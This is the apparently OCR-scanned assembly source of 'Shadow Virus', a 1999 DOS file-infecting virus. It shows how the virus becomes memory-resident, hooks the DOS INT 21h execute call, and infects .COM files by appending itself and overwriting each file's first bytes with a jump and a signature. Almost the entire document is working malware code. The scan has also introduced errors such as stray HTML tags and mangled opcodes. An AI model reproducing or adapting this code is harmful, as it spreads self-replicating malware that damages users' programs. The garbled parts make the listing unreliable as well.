```
Shadow Virus
                                                         ==========
          ( )
                         (c) 1999, Rohitab Batra
          ( v )
                                                        ( V )
                         <software@rohitab.com>
                             ICQ: 11153794
                         http://www.rohitab.com
       ((====>
    "Blessed is he who expects nothing, for he shall not be disappointed"
          ______
CODE_SEG SEGMENT
ASSUME CS: CODE_SEG
ORG 100H
                         PROGRAM STARTS HERE
START:
   jmp INSTALL_VIRUS
                              ;go to the installation routine
                                  Data Area
   nISRNumber <u>EQU</u> 21h
   nVirusID EQU 4B12h
                              ;has to be 4Bxxh where xx=03 to FF
   inVirusSize EQU (offset END_OF_CODE - offset START)
   sFileOpen db "Opening File for Read/Write...",0
   sFileCheck db "Reading Signature from File...", 0
   sFileSignature <a href="db">db</a> "Checking Signature...",0
   sPointerMoved db "File Pointer Move OK...", 0
   sComFile db "File is a .COM File.....Infecting File with Virus!!", 0
   sFileInfected db "File has been infected...",0
   sClosingFile db "Closing File...", 0
   sJumpUpdated db "Jump Instruction Added...", 0
   sAlreadyInfected db "File is already infected...",0
   _DX_DS <u>dw</u> 2 dup (?)
                              ;DS:DX is stored here, first DX, then DS
   db "File Handle:"
   wHostFileHandle dw ?
                              ; handle of the host file
    ;----- DON'T SEPERATE -----
                             ;opcode for a JMP instruction
   HostBytesNew db 0E9h
   wHostFileLength dw ? ;length of the host file (minus 3) VirusSignature db "RB" ;signature of the virus
    ;----- DON'T SEPERATE -----
   HostBytesOld db OCDh, 20h, ?
       ; first three bytes of host file. The first two bytes are set to
       ;INT 20h, so that when "this" file is executed without a host,
       ;it quits when it tries to transfer control to the host.
   HostSignature db 2 dup (?) ; the virus signature is stored in bytes
       ;4 and 5 of the host file. If the file is infected, these bytes
       ; will be equal to "VirusSignature" defined below
                              GetRelocation
 Description
   -> Gets the relocation value (aka delta offset) i.e the value that must
       be added to each variable in the program if the program has been
       relocated. The program gets relocated when it attaches itself to
       the host file. If the program has not been relocated, the value
       returned is 0
; Arguments
  -> Register: Register in which the value is to be stored
 Registers Destroyed
  -> <none>
@GetRelocation MACRO Register
   LOCAL GetIPCall
                             ; this will push the IP on the stack
   call GetIPCall
GetIPCall:
   pop Register
   sub Register, offset GetIPCall
ENDM
                          SaveRegisters
```

```
; Description
; -> Saves the contents of all the registers on the stack
; Arguments
  -> <none>
; Registers Destroyed
   -> <none>
@SaveRegisters MACRO
   push ax
   push bx
   push cx
   push dx
   push es
   push ds
   push si
   push di
   push bp
   pushf
ENDM
                          RestoreRegisters
; Description
  -> Restores the contents of all the registers from the stack
; Arguments
  -> <none>
; Registers Destroyed
  -> ax, bx, cx, dx, es, ds, si, di, bp, flags
@RestoreRegisters MACRO
   popf
   pop bp
   pop di
   pop si
   pop ds
   pop es
   pop dx
   pop cx
   pop bx
   pop ax
ENDM
                               PrintReturnCode
; Description
   -> Displays the return code stored in the register AX
; Arguments
 -> AX contains the code to be displayed
; Registers Destroyed
   -> <none>
@PrintReturnCode MACRO
   pushf
   push ax
   push bx
   push cx
   xchg ax,cx
                                ;save return code
   xor bx,bx
   mov ah, OEh
   mov al, ch
   add al, '0'
   int 10h
                                ;display high bit
   mov al,cl
   add al,'0'
   int 10h
                                ;display low bit
   pop cx
   pop bx
   pop ax
   popf
ENDM
                               Printf
; Description
  -> Displays a string, and goes to the next line. The string should end
      with a NULL character 0x00
```

```
; Arguments
; -> ds:si: Address of the string to be displayed
; Registers Destroyed
Printf PROC
   push bx
   mov ah,0Eh
                               ;teletype output
                               ;page 0
   xor bx, bx
DISPLAY_CHAR:
                               ;get next character
   lodsb
                               ;display
   int 10h
   test al, al
                               ;end of string?
   jne DISPLAY_CHAR
                               display carriage return ...
   mov al, ODh
   int 10h
   mov al,0Ah
int 10h
                               ;... and line feed
   pop bx
   ret
Printf ENDP
                              HookISR
;-----
; Description
   -> Installs a new interrupt service routine
; Arguments
  -> AL: Interrupt number
  -> SI: Buffer in which to save old ISR address (DWORD)
  -> DX: Address of new ISR
; Registers Destroyed
  -> ah, bx, es
HookISR PROC
   mov ah, 35h
   int 21h
                               ;Get Address of Old ISR
   mov word ptr [si], bx
                               ;Save it
   mov word ptr [si+2], es
   mov ah, 25h
                               ; Install New ISR
   int 21h
   ret
HookISR ENDP
                              NewDosISR
; Description
; -> Replacment ISR for DOS INT 21h
; Arguments
  -> <none>
; Registers Destroyed
  -> <none>
NewDosISR PROC
   pushf
   cmp ax, nVirusID
                               ;function to check residency of virus?
   jne NOT_VIRUS_CHECK
                               ; because we pushed the flags before comparing
   popf
                               ;tell calling program that we're resident
   xchg ax, bx
   iret
                               return, since we don't have to call old ISR
NOT_VIRUS_CHECK:
                               ;load and execute file?
   cmp ax, 4B00h
   je EXEC_FN
   popf
                               ; because we pushed the flags before comparing
                               ;\hat{\mathbb{U}} JUMP TO OLD ISR \hat{\mathbb{U}}
                               ;The following two lines will jump the old ISR
                               ;These lines are equivalent to jmp dwOldExecISR
                               ; op code for inter segment JMP instruction
   db 0EAh
   dwOldExecISR DD ?
                               ;old ISR address is stored here
EXEC FN:
                               ; because we pushed the flags before comparing
   popf
                               ;Û SAVE FILENAME ADDRESS Û
   push bp
   @GetRelocation bp
                               ;DS:DX contains the filename. we must save
   mov cs:bp+_DX_DS, dx
```

```
mov cs:bp+_DX_DS+2, ds
                              ; these, because they will be destroyed after
                              ; the call to INT 21h
   pop bp
                              ;Û CALL ROUTINE TO INFECT FILE Û
   @SaveRegisters
                              ;we don't want to mess up, since this is an ISR
   push cs
   push cs
   pop ds
                              ; make DS ...
                              i... and ES = CS
   pop es
   cli
                              ;infect the file before it is executed
   call InfectFile
   sti
                              ;restore before calling orignal ISR
   @RestoreRegisters
                              ;Û CALL OLD ISR Û
                              ; because an iret will pop the flags, CS and IP
   pushf
   DB 2Eh, 0FFh, 1Eh
                              ;op code for CALL FAR CS:[xxxx]
   dwOldExecISRVariable DW ? ;address of dwOldExecISR (defined above)
                              ;Û UPDATE OLD FLAGS ON STACK Û
   pushf
                              ; this is the IMPORTANT part. we must pass the
                              ; the new flags back, and not the old ones.
   push bp
   push ax
   mov bp, sp
   mov ax, [bp+4]
                              ;get new flags (which we just pushed 'pushf')
   mov [bp+10], ax
                              ;replace the old flags with the new. the stack
                              ; initially had FLAGS, CS, IP (in that order)
   pop ax
   pop bp
   popf
   iret
NewDosISR ENDP
                          InfectFile
; Description
; -> Attaches the virus to the file (infect) if not already infected
; Arguments
; -> _DX_DS contains the name of the file to be infected
; Registers Destroyed
 -> TODO: ???????
;TODO: Remove read-only/system attributes, and restore when done
;TODO: Time & Date should remain the same
InfectFile PROC
   @GetRelocation bp
   lea si,bp+sFileOpen
   call Printf
                              ;Û OPEN FILE Û
   mov si, dx
   call Printf
                              ;display the filename
                              ; open file for reading/writing
   mov ax, 3D02h
   int 21h
   pushf
                              ; display the handle of the file
   @PrintReturnCode
   popf
   jnc FILE_OPENED
   ret
FILE OPENED:
   mov bp+wHostFileHandle, ax ;save handle
   push cs
   pop ds
                              restore DS
   lea si, bp+sFileCheck
   call Printf
                              ;Û READ FIRST 5 BYTES Û
   mov ah, 3Fh
                              ;read ...
   mov bx, bp+wHostFileHandle
                              ;... 5 bytes from the file
   mov cx,5
   lea dx,bp+HostBytesOld
                              ;address of buffer in which to read
   int 21h
   pushf
                              ;display number of bytes read
   @PrintReturnCode
   popf
```

```
jmp CLOSE_FILE
FILE READ OK:
   lea si,bp+sFileSignature
    call Printf
                                 ;Û CHECK SIGNATURE Û
    xchg di, dx
                                  ;CX=buffer where data has been read
    mov ax, 5A4Dh
                                 ;EXE signature = 'MZ' (M=4Dh, Z=5Ah)
    cmp ax, [di]
    jne COM_FILE
    jmp CLOSE_FILE
                                 ;file is an EXE file, cannot infect
COM_FILE:
   lea si,bp+sComFile
    call Printf
                                 ;Û CHECK FILE FOR PRIOR INFECTION Û
   mov ax, [di+3]
                                 ;get host signature
    lea bx,bp+VirusSignature
    cmp ax, [bx]
                                 ; check signature
    jne FILE_NOT_INFECTED
    lea si,bp+sAlreadyInfected
    call Printf
    jmp CLOSE_FILE
FILE_NOT_INFECTED:
                                 ;Û ADD CODE TO HOST FILE Û
    mov ax, 4202h
                                 ; go to end-of-file
    mov bx, bp+wHostFileHandle
    xor cx, cx
    xor dx, dx
    int 21h
    jnc MOVE_PTR_OK
    jmp CLOSE_FILE
MOVE_PTR_OK:
                                 ; length of a JMP instruction (E9 xx xx)
   sub ax, 3
   mov bp+wHostFileLength, ax ;save the length of the file (minus 3)
    lea si,bp+sPointerMoved
    call Printf
    mov ah, 40h
                                 ;append virus code
    mov bx, bp+wHostFileHandle
    lea dx, bp+START
    mov cx, offset END_OF_CODE-offset START
    int 21h
    jc CLOSE_FILE
    lea si, bp+sFileInfected
    call Printf
                                 ;\hat{\mathbb{U}} ADD JMP INSTRUCTION TO BEGINNING OF HOST \hat{\mathbb{U}}
   mov ax, 4200h
                                 ; go to beginning-of-file
    mov bx, bp+wHostFileHandle
    xor cx, cx
    xor dx, dx
    int 21h
    jc CLOSE_FILE
    @PrintReturnCode
    lea si,bp+sPointerMoved
    call Printf
    mov ah, 40h
                                 ; write the jmp instruction to the file
    mov bx, bp+wHostFileHandle
    lea dx, bp+HostBytesNew
   mov cx, 5
int 21h
                                 ;3 for the jmp instruction, and 2 for ...
                                 ;... the virus signature
    jc CLOSE_FILE
    lea si,bp+sJumpUpdated
    call Printf
   @PrintReturnCode
                                 ;Û CLOSE FILE Û
CLOSE FILE:
   lea si, bp+sClosingFile
    call Printf
```

jnc FILE\_READ\_OK

```
mov ah, 3Eh
   mov bx, bp+wHostFileHandle
   int 21h
   @PrintReturnCode
InfectFile ENDP
                               INSTALL VIRUS
INSTALL_VIRUS:
   @GetRelocation bp
                                ;Û VIRUS RESIDENCY CHECK Û
   mov ax, nVirusID
   int 21h
   cmp bx, nVirusID
                                ;virus installed?
    je VIRUS_ALREADY_INSTALLED
                                ;Û RESIZE MEMORY BLOCK Û
   mov ax, ds
   dec ax
                               ;get MCB
   mov es, ax
   cmp byte ptr es:[0],'Z'
                               ; is it the last MCB in the chain?
   jne CANNOT_INSTALL
   mov bx, es:[3]
                                ;get block size
   sub bx, ((offset END_OF_CODE-offset START+15)/16)+1 ;compute new block size in paragraphs
   push ds
   pop es
   mov ah, 4Ah
                               ;resize memory block
   int 21h
                                ;Û ALLOCATE MEMORY Û
   mov ah, 48h
                                ;allocate memory for the virus
   mov bx, (offset END_OF_CODE-offset START+15)/16
   int 21h
                                ;AX will contain segment of allocated block
                                ;Û UPDATE MCB Û
   dec ax
                               ;get MCB
   mov es, ax
   mov byte ptr es:[0], 'Z' ; mark MCB as last in chain mov word ptr es:[1], 8 ; mark DOS as owner of memory block
; ****TESTING
   ;sub word ptr ds:[2], (offset END OF CODE-offset START+15)/16
; ****TESTING
                                ;Û COPY VIRUS TO NEW MEMORY BLOCK Û
   inc ax
                                ;get memory block
   mov es, ax
                                ;destination address
   xor di, di
   lea si, bp+START
                                ;start of virus code in memory
   mov cx, offset END_OF_CODE-offset START
   rep movsb
                                ;copy virus
   int 3h
   push es
                                ;make DS = segment of newly allocated block
   pop ds
   mov ax, 40h
                                ;get BIOS segment
   sub word ptr es:[13h], (offset END_OF_CODE-offset START+1023)/1024
                                ;reduce available memory
                                ;Û INSTALL NEW ISR FOR INT 21h Û
   mov al, nISRNumber
   lea si, dwOldExecISR-100h
   lea dx, NewDosISR-100h
   call HookISR
                                ;Û UPDATE CALL INSTRUCTION IN NewExecISR Û
   mov ds:[dw0ldExecISRVariable-100h], si ;update CALL FAR CS:[xxxx] instruction
                                        ;in PROC NewDOSISR
CANNOT INSTALL:
VIRUS_ALREADY_INSTALLED:
                                ;Û TRANSFER CONTROL TO HOST PROGRAM Û
```

```
push cs
  push cs
  pop ds
  pop es
  mov di, 100h
  lea si, bp+HostBytesOld
  mov cx,5
                  ;restore 5 bytes
  rep movsb
mov bx, 100h
  push bx
                   ;transfer to host program
 ret
;-----
                 END_OF_CODE
;-----
END_OF_CODE:
CODE_SEG ENDS
END START
```